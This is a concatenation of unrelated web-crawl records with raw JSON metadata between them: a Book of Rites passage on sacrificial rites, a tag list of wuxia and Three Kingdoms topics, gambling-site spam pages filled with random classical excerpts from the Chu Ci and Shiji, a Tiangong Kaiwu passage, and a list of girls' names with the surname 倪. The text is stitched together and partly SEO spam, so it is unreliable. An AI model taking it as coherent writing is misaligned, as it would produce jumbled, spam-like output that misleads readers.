志.此祭之心也.是故天子亲耕于南郊.以共齐盛.王后蚕于北郊.以共纯服.诸 侯耕于东郊.亦以共齐盛.夫人蚕于北郊.以共冕服.天子诸侯.非莫耕也.王后 夫人.非莫蚕也.身致其诚信.诚信之谓尽.尽之谓敬.敬尽然后可以事神明.此 祭之道也. 及时将祭.君子乃齐.齐之为言齐也.齐不齐.以致齐者也.是以君子非有大 事也.非有恭敬也.则不齐.不齐则于物无防也.嗜欲无止也.及其将齐也.防其 邪物.讫其嗜欲.耳不听乐.故记曰.齐者不乐.言不敢散其志也.心不苟虑.必 依于道.手足不苟动.必依于礼.是故君子之齐也.专致其精明之德也.故散齐七 日以定之.致齐三日以齐之.定之之谓齐.齐者精明之至也.然后可以交于神明也 .是故先期旬有一日.宫宰宿夫人.夫人亦散齐七日.致齐三日.君致齐于外.夫 人致齐于内.然后会于大庙.君纯冕立于阼.夫人副袆立于东房.君执圭瓒祼尸. 大宗执璋瓒亚祼.及迎牲.君执纼.卿大夫从.士执刍.宗妇执盎从夫人.荐涗水 .君执鸾刀.羞哜.夫人荐豆.此之谓夫妇亲之. 及入舞.君执干戚就舞位.君为东上.冕而摠干.率其群臣.以乐皇尸.是故 天子之祭也.与天下乐之.诸侯祭也.与竟内乐之.冕而摠干.率其群臣.以乐皇 尸.此与竟内乐之之义也. 夫祭有三重焉.献之属莫重于祼.声莫重于升歌.舞莫重于武宿夜.此周道也 .凡三道者.所以假于外.而以增君子之志也.故与志进退.志轻则亦轻.志重则 亦重.轻其志而求外之重也.虽圣人弗能得也.是故君子之祭也.必身自尽也.所 以明重也.道之以礼.以奉三重.而荐诸皇尸.此圣人之道也. 夫祭有馂.馂者祭之末也.不可不知也.是故古之人有言曰.善终者如始.馂 其是已.是故古之君子曰.尸亦馂鬼神之余也.惠术也.可以观政矣.是故尸谡. 君与卿四人馂.君起.大夫六人馂.臣馂君之余也.大夫起.士八人馂.贱馂贵之 余也.士起.各执其具以出.陈于堂下.百官进.彻之.下馂上之余也.凡馂之道 .每变以众.所以别贵贱之等.而兴施惠之象也.是故以四簋黍.见其修于庙中也 .庙中者.竟内之象也.祭者.泽之大者也.是故上有大泽.则惠必及下.顾上先 下后耳.非上积重而下有冻馁之民也.是故上有大泽.则民夫人待于下流.知惠之 必将至也.由馂见之矣.故曰.可以观政矣. 夫祭之为物大矣.其兴物备矣.顺以备者也.其教之本与.是故君子之教也. 外则教之以尊其君长.内则教之以孝于其亲.是故明君在上.则诸臣服从.崇事宗 庙社稷.则子孙顺孝.尽其道.端其义.而教生焉.是故君子之事君也.必身行之 .所不安于上.则不以使下.所恶于下.则不以事上.非诸人.行诸己.非教之道 也.是故君子之教也.必由其本.顺之至也.祭其是与.故曰.祭者教之本也已. 夫祭有十伦焉.见事鬼神之道焉.见君臣之义焉.见父子之伦焉.见贵贱之等 焉.见亲疏之杀焉.见爵赏之施焉.见夫妇之别焉.见政事之均焉.见长幼之序焉 .见上下之际焉.此之谓十伦. 铺筵设同几.为依神也.诏祝于室.而出于祊.此交神明之道也. 君迎牲而不迎尸.别嫌也.尸在庙门外则疑于臣.在庙中则全于君.君在庙门 外则疑于君.入庙门则全于臣.全于子.是故不出者.明君臣之义也. 夫祭之道.孙为王父尸.所使为尸者.于祭者子行也.父北面而事之.所以明 子事父之道也.此父子之伦也. 尸饮五.君洗玉爵献卿.尸饮七.以瑶爵献大夫.尸饮九.以散爵献士及群有 司.皆以齿.明尊卑之等也. 夫祭有昭穆.昭穆者.所以别父子.远近.长幼.亲疏之序.而无乱也.是故 有事于大庙.则群昭群穆咸在.而不失其伦.此之谓亲疏之杀也. 古者明君.爵有德而禄有功.必赐爵禄于大庙.示不敢专也.故祭之日.一献 .君降立于阼阶之南.南乡.所命北面.史由君右.执策命之.再拜稽首.受书以 归.而舍奠于其庙.此爵赏之施也. 君卷冕立于阼.夫人副袆立于东房.夫人荐豆执校.执醴授之执镫.尸酢夫人 执柄.夫人授尸执足.夫妇相授受.不相袭处.酢必易爵.明夫妇之别也. 凡为俎者.以骨为主.骨有贵贱.殷人贵髀.周人贵肩.凡前贵于后.殂者. 所以明祭之必有惠也.是故贵者取贵骨.贱者取贱骨.贵者不重.贱者不虚.示均 也.惠均则政行.政行则事成.事成则功立.功之所以立者.不可不知也.俎者. 所以明惠之必均也.善为政者如此.故曰.见政事之均焉. 凡赐爵.昭为一.穆为一.昭与昭齿.穆与穆齿.凡群有司皆以齿.此之谓长 幼有序. 夫祭有畀.辉.胞.翟.阍者.惠下之道也.唯有德之君.为能行此.明足以 见之.仁足以与之.畀之为言与也.能以其余畀其下者也.辉者.甲吏之贱者也. 胞者.肉吏之贱者也.翟者.乐吏之贱者也.阍者.守门之贱者也.古者不使刑人 守门.此四守者.吏之至贱者也.尸又至尊.以至尊既祭之末.而不忘至贱.而以 其余畀之.是故明君在上.则竟内之民无冻馁者矣此之谓上下之际. 凡祭有四时.春祭曰礿.夏祭曰禘.秋祭曰尝.冬祭曰烝.礿.禘.阳义也. 尝.烝.阴义也.禘者阳之盛也.尝者阴之盛也.故曰.莫重于禘尝.古者于禘也 .发爵赐服.顺阳义也.于尝也.出田邑.发秋政.顺阴义也.故记曰.尝之日. 发公室.示赏也.草艾则墨.未发秋政.则民弗敢草也.故曰.禘尝之义大矣.治 国之本也.不可不知也.明其义者君也.能其事者臣也.不明其义.君人不全.不 能其事.为臣不全.夫义者.所以济志也.诸德之发也.是故其德盛者其志厚.其 志厚者其义章.其义章者其祭也敬.祭敬.则竟内之子孙.莫敢不敬矣.是故君子 之祭也.必身亲莅之.有故则使人可也.虽使人也.君不失其义者.君明其义故也 .其德薄者其志轻.疑于其义而求祭.使之必敬也.弗可得已.祭而不敬.何以为 民父母矣. 夫鼎有铭.铭者自名也.自名以称扬其先祖之美.而明着之后世者也.为先祖 者.莫不有美焉.莫不有恶焉.铭之义.称美而不称恶.此孝子孝孙之心也.唯贤 者能之.铭者.论譔其先祖之有德善.功烈.勋劳.庆赏.声名.列于天下.而酌 之祭器.自成其名焉.以祀其先祖者也.显扬先祖.所以崇孝也.身比焉.顺也. 明示后世.教也.夫铭者.壹称而上下皆得焉耳矣.是故君子之观于铭也.既美其 所称.又美其所为.为之者.明足以见之.仁足以与之.知足以利之.可谓贤矣. 贤而勿伐.可谓恭矣.故卫孔悝之鼎铭曰.六月丁亥.公假于大庙.公曰.叔舅. 乃祖庄叔.左右成公.成公乃命庄叔.随难于汉阳.即宫于宗周.奔走无射.启右 献公.献公乃命成叔.纂乃祖服.乃考文叔.兴旧耆欲.作率庆士.躬恤卫国.其 勤公家.夙夜不解.民咸曰休哉.公曰.叔舅.予女铭.若纂乃考服.悝拜稽首曰 .对扬以辟之.勤大命.施于烝彝鼎.此卫孔悝之鼎铭也.古之君子.论譔其先祖 之美而明着之后世者也.以比其身.以重其国家如此.子孙之守宗庙社稷者.其先 祖无美而称之.是诬也.有善而弗知.不明也.知而弗传.不仁也.此三者.君子 之所耻也. 昔者周公旦.有勋劳于天下.周公既没.成王.康王.追念周公之所以勋劳者 .而欲尊鲁.故赐之以重祭外祭则郊社是也.内祭则大尝禘是也.夫大尝禘.升歌 清庙.下而管象.朱干玉戚以舞大武.八佾以舞夏.此天子之乐也.康周公.故以 赐鲁也.子孙纂之.至于今不废.所以明周公之德.而又以重其国也.\n下一卷 回目录","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.shuku.net:8082\/novels\/classic\/qpuhbfzmpsl\/lij\/lij23.html","date":"2022-01-18T01:57:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300658.84\/warc\/CC-MAIN-20220118002226-20220118032226-00333.warc.gz","language":"lzh","language_score":0.4676471949,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4676471948623657, \"cmn_Hani_score\": 0.2456151396036148, \"nan_Hani_score\": 0.09990803152322769, \"wuu_Hani_score\": 0.02764495089650154, \"jpn_Jpan_score\": 0.021865250542759895, \"und_Tang_score\": 0.0174627173691988, \"yue_Hani_score\": 0.0167180597782135, \"zxx_Latn_score\": 0.014373347163200378}","num_words":107,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n合淝之戰 流雲飛袖 仙門劍訣 月異星邪 譙周 星宿派 曹操討伐袁術之戰 李廣 雙尖軟矛 郭嘉 黃鍾公 鐵蒺藜骨朵 掩月劍法 方天畫戟 孫權建國 月英 滿天花雨 道心種魔大法 小喬 流星鎚 江南七怪 周伯通 朱子柳 越女劍 陸無雙 北冥神功 書劍恩仇錄 關銀屏 華山派 楚留香傳奇 練師 明珠 玉女媚術 吳國太 古龍作品 臥龍生 燕子三抄水 黑白子 郭襄 九月鷹飛 劉備稱帝 呂后 四大惡人 笑傲江湖 不死印法 三尸腦神丹 郭靖 雷霆刀法 蘇荃 劍氣書香 黃蓉 飛龍五式 朱然 幻影劍法 呂母 呂布爭徐州 阿朱 潼關之戰 鳳天南 合淝新城之戰 丁璫 劉禪 五嶽劍派 小昭 諸葛亮 心硯 曹睿 鄧芝 鍾會之亂 黃藥師 李典 圓月彎刀 甘寧 神君別傳 鴛鴦刀 太清元功 龍門鏢局 藍鳳凰 捨身大法 徐榮 彈指神通 青城派 血鸚鵡 夷陵之戰 鳩摩智 衛青 白阿繡 玄氣大法 鐵騎快劍 牛郎一百零八棍 游坦之 天魔心法 西蜀地形圖 玉女素心劍法 王平 夏侯淵 臥龍 一指頭禪 怒劍狂花 逆水寒 九韶定音劍 無想奼女大法 桃根仙 楊康 飛伏一百零八槍 青龍會 郭淮 曹操迎天子 馬謖 天外飛仙 鐵脊蛇矛 飛刀,又見飛刀 群狐 章進 五毒教 齊桓公 公孫止 孫曉 楚留香新傳 左慈 阿紫 神蛛凌空銀絲渡虛 董允 沙影二十八劍 萬物波動心法 王異 乾隆 天龍八部 夏姬 空綁術 文鴦 賈充 馬岱 金絲綿掌 華山派 護花鈴 交阯之亂 余滄海 上官鼎 呂布 歸辛樹 廖化 成昆 任盈盈 慕容復 關興 鍾靈 男人見不得 史火龍 曹純 蔣濟 嫁衣神功 大喬 御盡萬法根源智經 桃花仙 張郃 硃砂掌 石亭之戰 莫大先生 三十六招鳥啄擊法 竹節鞭 東方不敗 鍾繇 武三通 趙志敬 謝煙客 漢中之戰 紫微軟劍 鳥渡術 無想十法 定逸師太 典韋 奪命簪 逍遙訣 林遠圖 九難 長河正氣 歸藏鞭 禿筆翁 童子功十三太保橫練 風清揚 石中玉 血戰十式 藏密智能書 甄姬 大地飛鷹 紫血大法 獨孤九劍 孫權 青釭劍 界橋之戰 蕭逸 汪劍通 名劍風流 梅超風 大手印 伏魔劍法 破碎虚空 幽灵山庄 青龍偃月刀 武夷派 鄭丰 炎元真氣 呂玲綺 定閒師太 飛狐外傳 金蛇劍 尼摩星 裘千仞 儀琳 諸葛亮南征 諸葛亮北伐 龐統 就地十八滾 黃權 常伯志 摘心手 吳起 荊州 飛龍大九式 神龍教 青松劍譜 黯然銷魂掌 金輪法王 長平公主 回轉斧法三十式 九轉還童 陽頂天 桃枝仙 蒼穹十三式 陸遜 魏滅蜀之戰 關平 壽春三叛 奇功絕藝榜 滿寵 赤壁之戰 俠客行 空明拳 姜維 晉滅吳之戰 岳靈珊 流星蝴蝶劍 少林派 阿九 無念禪功 謝遜 太虛錯手 三少爺的劍 蕭十一郎 橫煉罡 銀雕 穿雲劍法 郭解 蒼穹神劍 德川家康 康敏 曹爽專權 魅影身法 周瑜 不戒和尚 燕子雙飛 鷹變十三式 兵器譜 九陽神功 貂蟬 陳近南 夏侯惇 大拍手 葵花寶典 曹叡 淑女劍 炎陽奇功 呂壹專權 布衣神相 狄雲 花間十二支 七禽身法 天一掌 楊頂天 風萍掌 西陵之戰 嵩山派 下邳之戰 諸葛誕 袖裡乾坤 天地明環 歡樂英雄 完顏洪烈 段正淳 張遼 胡斐 黃忠 黃皓 彩環曲 孫皓暴政 街亭 董卓討伐戰 丁不四 流星鎚 幻魔身法 木婉清 玄慈 遊俠錄 沖虛道長 阿珂 桃谷六仙 靈犀一指 彭長老 魯肅 倚天劍 絕情谷 吳六奇 南匈奴 打狗棒法 雙手互搏 金庸 梵我如一 賈南風 溫瑞安 公孫綠萼 陳到 九玄大法 洪承疇 倉亭之戰 陳家洛 地煞拳 曹丕 狼牙 翔鷹劍法 段譽 太虛勁 星彩 暴雨梨花釘 君子劍 刑遁術 方證大師 周倉 浣花洗劍錄 白狼山之戰 枯榮大師 屯田制 冷月寶刀 龍木島主 丐幫 羅憲 隆中對 白馬嘯西風 伊達政宗 急風十三刺 霍都 魯有腳 豔陽刃法 碧血劍 烏金血劍 建寧公主 曹丕篡漢 神州奇俠 鹿鼎記 四大名捕 滿地開花八十—式 魏延 塌上策 滅絕師太 雙兒 七殺拳 趙半山 曹操 斷絕神功 無崖子 破精自絕大法 蕭摩訶 楊成協 歐陽克 閔柔 福康安 周芷若 樊城之戰 太史慈 徐晃 袁紹 黑鬼爪 玄鐵重劍 雲行雨飄 孫尚香 泰山派 吳質 涼州軍劫天子 起風了 的盧 武當掌法 劍客行 王元姬 七流星 日月當空 雙修大法 飛鷹十三刺 建安文學 柳絮劍法 馬大元 勞德諾 菩提心功 左冷禪 刀白鳳 雌雄雙股劍 張三李四 紫氣天羅 劍花煙雨江南 于萬亭 壽春馳援 樂進 二宮之爭 大人物 水笙 王重陽 瀟湘子 任我行 穆念慈 天魅凝陰 五絕神功 喬鋒 博望坡之戰 一串鞭 李牧 天鷹教 蝶雙飛 達摩手 神刀斬 七傷拳 南皮之戰 大武俠時代 散手八撲 程靈素 無塵道長 楊逍 李秋水 張翼 袁紫衣 興勢之戰 桃實仙 荀攸 李元霸 關羽 桃幹仙 天心蓮環 周泰 彼岸劍訣 情人箭 一燈大師 尉遲恭 傻姑 換日大法 碧血洗銀槍 衡山派 白玉老虎 裘千尺 殘金缺玉 七十二路分筋錯骨手 鄧艾 羅漢伏虎拳 五虎斷門刀 魏晉玄學 海神 令狐沖 天外流星 碎金剛乘 王語嫣 第六天魔王 海大富 梅花鉤 陸抗 刀劍雙殺七七四十九式 五行劍法 丈八蛇矛 伏養氣功 法正 范遙 龜息功 易京之戰 劍罡同流 寧中則 一扇十八搖 鮑三娘 梅花鉤 蒼穹十三劍 金針開穴之法 丁奉 變天擊地大法 恆山派 九字真言手印 吳應熊 華陀針 曹仁 移花接玉 五帝鐧 楊過 諸葛恪 銅錘 司馬昭 鎖子縮骨功 血海飄香 邊荒傳說 雪山飛狐 峨嵋派 索額圖 余魚同 張召重 孤星傳 曾柔 狂沙刀法 關索 益州之戰 全真七子 清風十三式 劉備 碧落紅塵 軟蝟甲 張無忌 歸魂十八爪 摩尼教 奪命十三劍 夏侯嬰 七殺手 文泰來 楚留香新傳之蝙蝠傳奇 挾天子 魔心連環 驚魂六記 鍾會 飄香劍雨 大旗英雄傳 凌統 紅花會 楊修 駱冰 劍玄錄 韋春花 桃花島 曹操攻徐州之戰 荀彧 九陰真經 嵩山十三太保 張三丰 徐庶 鬼魅潛蹤 先天氣功 華山論劍 枯禪玄功 曹真 挾刀揉手 九陽真經 裂馬槍 伏虎神拳 石亭之戰 武當派 全真教 古龍 飛燕七式 瑛姑 鰲拜 郭馬之亂 貝海石 五虎斷門刀 楚留香新傳之借屍還魂 定靜師太 鴛鴦腿 夏青青 石破天 風鈴中的刀聲 定世鞭 夷陵之戰 迎風一刀斬 殷離 凝真九變 倚天屠龍記 馮錫范 誰來跟我乾杯 衛春華 蔣幹 法顯 天涯明月刀 崆峒派 丹心術 金錢幫 五毒神功 金蛇郎君 殭屍拳 笮融 石清 孫皓 戰神圖錄 迷蹤七變 倪匡 韓小瑩 白自在 少林神拳 小鷹爪功 丁不三 九品中正制 白世鏡 掃地僧 天魔手七十二式 魔佛十式 孫策 羊祜 丁春秋 合肥之戰 曹洪 碧海潮生曲 化石神功 降龍十八掌 內家橫練 胡昭 宗預 蝴蝶穿花七十二式 龍吟曲 武田信玄 司馬昭弒君 覆雨劍法 達爾巴 無相神功 蕭遠山 許褚 多情劍客無情劍 夢姑 梁羽生 夏侯霸 降龍伏虎羅漢拳 蛤蟆功 林平之 空城計 先天功 一休 菊花的刺 東興之戰 賭局 孫策平江東之戰 仇國論 戚芳 郭芙 七星龍王 大元丹法 玉女劍法 馬皇后 文醜 太極七截棍 段正明 蔣琬 黃皓專權 枯木神功 尹克西 死眷術 石雙英 曹休 日月神教 神鵰俠侶 蔡文姬 阿青 霍青桐 呂蒙 韋小寶 辟邪劍法 曹丕伐吳 尋秦記 岳不羣 金剛門 紫霞神功 玩命拳 桃葉仙 少林三渡 費禕 張角 飛鶯飛鷹 程普 大唐雙龍傳 儀琳 旋風十八矛 黃祖 火併蕭十一郎 韋一笑 張苞 霍去病 洪七公 折花百式 官渡之戰 不碎金剛 合淝之戰 常赫志 明玉功 不死七幻 絕不低頭 六脈神劍 英雄無淚 七种武器 嫁衣神功 馬超 韓當 姑蘇慕容 張大春 冰玄勁 破蓮八著 天地明環 徐天宏 沐劍屏 種玉大法 燎原百擊 司馬師 井中八法 扭轉乾坤殺手劍 馬忠 吳三桂 石田三成 趙敏 孟獲 擒拿截脈法 聖火令 董卓 徐盛 永安之戰 魏滅蜀之戰 覆雨翻雲 姜維北伐 心佛掌 織女劍法 慈航劍典 沉沙劍法 逍遙拆 劉表 日月麗天大法 屠龍刀 大開碑手 魅變術 張春華 司馬懿 邊城浪子 丞相 孫堅 八賢王 絕代雙驕 大圓滿杖法 如意八打 十二都天神功 劍毒梅香 奕劍術 霓裳仙舞 尉遲敬德 射鵰三部曲 湘妃劍 古墓派 田伯光 東興之戰 丁典 凌波微步 滅神掌 化骨綿掌 江夏戰神 封天閉地 林朝英 趙雲 吸星大法 荊楚爭雄記 鬼王鞭 移玉大法 楊儀 飛天狐狸 康熙 大意失荊州 天魔大法 披風杖法 方怡 龐德 金丹大法 九轉無相神功 陸小鳳傳奇 武林外史 慕容博 東洋神風刀法 瘋魔上天下地一百零七撃 楚留香新傳之新月傳奇 銀龍手 毛玠 連城訣 諸葛瞻 張飛 程英 韋小寶 小龍女 丞相,起風了 陳宮 失魂引 高平陵之變 亡神十八掌 天魔擊三大散招 祝融 水雲袖法 鬼火十三拍 武當七俠 賈詡 袁承志 黃天大法 子貴母死 玄鐵劍法 歐陽鋒 絕代雙驕角色列表 白萬劍 李莫愁 魅影劍法 星际浪子 十住大乘功 天山童姥 連體心法 黃蓋 丹青生 逍遙派 崑崙派 耶律齊 奼女心法 虛竹 于禁 白骨爪 左手刀法 蔣四根 決戰前後","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2019-02-17T13:52:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481994.42\/warc\/CC-MAIN-20190217132048-20190217154048-00618.warc.gz","language":"lzh","language_score":0.5900549293,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900549292564392, \"nan_Hani_score\": 0.2526974380016327, \"cmn_Hani_score\": 0.1217498704791069, \"yue_Hani_score\": 0.03296060487627983}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门万利正网机构称并购市场谷底已至下半年将反弹\n子曰:\"善人教民七年,亦可以即戎矣。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路\n秦王立一年,薨,谥为孝文王。太子子楚代立,是为庄襄王。庄襄王所母华阳后为华阳太后,真母夏姬尊以为夏太后。庄襄王元年,以吕不韦为丞相,封为文信侯,食河南雒阳十万户。\n三十一年十二月,更名腊曰\"嘉平\"。赐黔首里六石米,二羊。始皇为微行咸阳,与武士四人俱,夜出逢盗兰池,见窘,武士击杀盗,关中大索二十日。米石千六百。\n昔黄帝有涿鹿之战,以定火灾;颛顼有共工之陈,以平水害;成汤有南巢之伐,以殄夏乱。递兴递废,胜者用事,所受於天也。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.80houbbs.com\/JOOYR60569.html","date":"2020-02-22T19:51:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145713.39\/warc\/CC-MAIN-20200222180557-20200222210557-00026.warc.gz","language":"lzh","language_score":0.4657038748,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4657038748264313, \"cmn_Hani_score\": 0.3199997842311859, \"nan_Hani_score\": 0.12494582682847977, \"wuu_Hani_score\": 0.02991735003888607, \"yue_Hani_score\": 0.016831427812576294}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":1} +{"text":"金樽电玩城娱豪华乐版呼吸机概念股再度拉升航天长峰10天7涨停\n命曰首仰足肣有内无外。占病,病甚不死。系者解。求财物买臣妾马牛不得。行者闻言不行。来者不来。闻盗不来。闻言不至。徒官闻言不徙。居官有忧。居家多灾。岁稼中孰。民疾疫多病。岁中有兵,闻言不开。见贵人吉。请谒不行,行不得善言。追亡人不得。渔猎不得。行不遇盗。雨不雨甚。霁不霁。故其莫字皆为首备。问之曰,备者仰也,故定以为仰。此私记也。\n曾子曰:\"吾日三省吾身:为人谋而不忠乎?与朋友交而不信乎?传不习乎?\"\n齐中大夫病齲齿,臣意灸其左大阳明脉,即为苦参汤,日嗽三升,出入五六日,病已。得之风,及卧开口,食而不嗽。\n十五年,齐田常杀简公。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/8boln.ysdianlan.com\/ctfwh\/990213.html","date":"2020-04-02T06:05:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506673.7\/warc\/CC-MAIN-20200402045741-20200402075741-00405.warc.gz","language":"lzh","language_score":0.4906908274,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.49069082736968994, \"cmn_Hani_score\": 0.2300943285226822, \"nan_Hani_score\": 0.10258360207080841, \"zxx_Latn_score\": 0.030970238149166107, \"yue_Hani_score\": 0.012243740260601044}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"宋子曰:霄漢之間雲霞異色,閻浮之內花葉殊形。天垂象而聖人則之。以五彩彰施於五色。有虞氏豈無所用其心哉?飛禽眾而鳳則丹,走獸盈而麟則碧,夫林林青衣,望闕而拜黃朱也。其義亦猶是矣。老子曰:「甘受和,白受采。」世間絲、麻、裘、褐,皆具素質,而使殊顏異色得以尚焉。謂造物不勞心者,吾不信也。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/zh.wikisource.org\/zh-hant\/%E5%A4%A9%E5%B7%A5%E9%96%8B%E7%89%A9\/%E5%BD%B0%E6%96%BD%E7%AC%AC%E4%B8%89","date":"2023-02-08T19:56:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500904.44\/warc\/CC-MAIN-20230208191211-20230208221211-00592.warc.gz","language":"lzh","language_score":0.4505910873,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4505910873413086, \"cmn_Hani_score\": 0.3877068758010864, \"wuu_Hani_score\": 0.08646111190319061, \"jpn_Jpan_score\": 0.04299939423799515, \"yue_Hani_score\": 0.014064598828554153}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.47,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n倪清雪 倪苏悦 倪逸悦 倪琪茹 倪诗婷 倪碧秀 倪茹冰 倪秀婷 倪香婷 倪丝婷 倪乐琳 倪利萍 倪卫霞 倪汀芳 倪菲悦 倪婕颖 倪仕芬 倪思悦 倪悦思 倪翠艳 倪宝霞 倪明秀 倪涧怡 倪淑怡 倪治洁 倪姿怡 倪莹珂 倪青媛 倪丹瑶 倪悦苒 倪羽玲 倪叶莉 倪锹英 倪湫英 倪琳琼 倪梅琼 倪焕颖 倪善芬 倪善芳 倪善艳 倪善颖 倪善琼 倪顺娟 倪琼颖 倪琼芳 倪诺琼 倪秀琳 倪秀颖 倪诺颖 倪诺梅 倪充梅 倪芸媛 倪琳馨 倪晓媛 倪惠娜 倪沛瑶 倪桂娥 倪培艳 倪语洁 倪萍忆 倪歆萍 倪道玲 倪歆婷 倪歆颖 倪语倩 倪语婷 倪燕敏 倪桉妍 倪香媛 倪霞红 倪好英 倪鑫瑶 倪佩瑶 倪允莉 倪淳悦 倪钊芬 倪莉平 倪莉枰 倪逸雪 倪浩雪 倪正文 倪妙怡 倪芊蓉 倪依雪 倪宏梅 倪郁芬 倪一萍 倪时霞 倪洁琳 倪淑萍 倪春娅 倪慧丽 倪夕艳 倪梦妍 倪娅真 倪浩秀 倪好秀 倪秀好 倪梦秀 倪纪萍 倪菊红 倪榕霞 倪丽婷 倪彬丽 倪嫣阳 倪利娟 倪天燕 倪卫红 倪莹珊 倪巧琴 倪静玉 倪胤文 倪玉玲 倪之琳 倪叶怡 倪又婵 倪芝瑛 倪鹏燕 倪雪莉 倪雯艳 倪雯嫣 倪闻嫣 倪闻妍 倪筱娅 倪楚玲 倪之梅 倪枝梅 倪丹红 倪艺娥 倪梅娥 倪美美 倪秀婧 倪婧禹 倪悦禹 倪摇雪 倪闻悦 倪宗文 倪绮丽 倪维琴 倪子瑶 倪珞琳 倪裴帅 倪萝洁 倪萝琳 倪琳翰 倪萝倩 倪罗倩 倪罗琳 倪罗婷 倪罗洁 倪莉丽 倪多媛 倪尹嫣 倪佳嫣 倪怡佳 倪媛灿 倪琳莹 倪珑莹 倪瑚莹 倪瑟莹 倪亘莹 倪共莹 倪正莹 倪世莹 倪五莹 倪一莹 倪晨瑶 倪瑶晨 倪爱玲 倪妍焓 倪希莹 倪郗莹 倪燕然 倪世丽 倪小娥 倪天文 倪琳辉 倪嫣瞳 倪蕊丽 倪燕军 倪媛凡 倪智丽 倪碧瑶 倪泺瑶 倪莺倩 倪羞花 倪洁艳 倪媛君 倪荣英 倪凤花 倪悦雪 倪悦洁 倪韵雪 倪溪悦 倪妍淇 倪航英 倪兰花 倪夕倩 倪玮文 倪怡平 倪方琴 倪倩颖 倪洪美 倪媛俊 倪媛晖 倪梦雪 倪鑫嫣 倪一文 倪新颖 倪日文 倪钿婧 倪英芬 倪英娟 倪冬燕 倪小冉 倪惠萍 倪人英 倪培婷 倪玲文 倪洁霞 倪次英 倪艺瑶 倪宗美 倪冰瑶 倪沐雪 倪国红 倪飞雪 倪锡芬 倪翠英 倪好悦 倪淑娥 倪菀霞 倪达芳 倪晓蓉 倪利燕 倪润洁 倪燕子 倪懿妍 倪楚妍 倪暨霞 倪箫嫣 倪棋玉 倪妍茗 倪杭妍 倪绮茹 倪菲芳 倪茹娴 倪子琼 倪艳丽 倪倩茹 倪允文 倪凤文 倪允英 倪米娜 倪文娜 倪天玉 倪娅棋 倪瑶钧 倪雨霞 倪志琴 倪宇文 倪瑶郡 倪郡瑶 倪昔红 倪冰梅 倪雁琳 倪秀瑶 倪玉文 倪香玉 倪冬艳 倪雯洁 倪凤琴 倪本琴 倪德芳 倪玲婷 倪玲芝 倪进琼 倪涪媛 倪韵婷 倪网英 倪昱琳 倪裴悦 倪裴秀 倪裴玉 倪珊玉 倪琛莉 倪萍钰 倪钰萍 倪瑜萍 倪一琳 倪泽琳 倪会玲 倪星玉 倪莘琳 倪婷海 倪琳媛 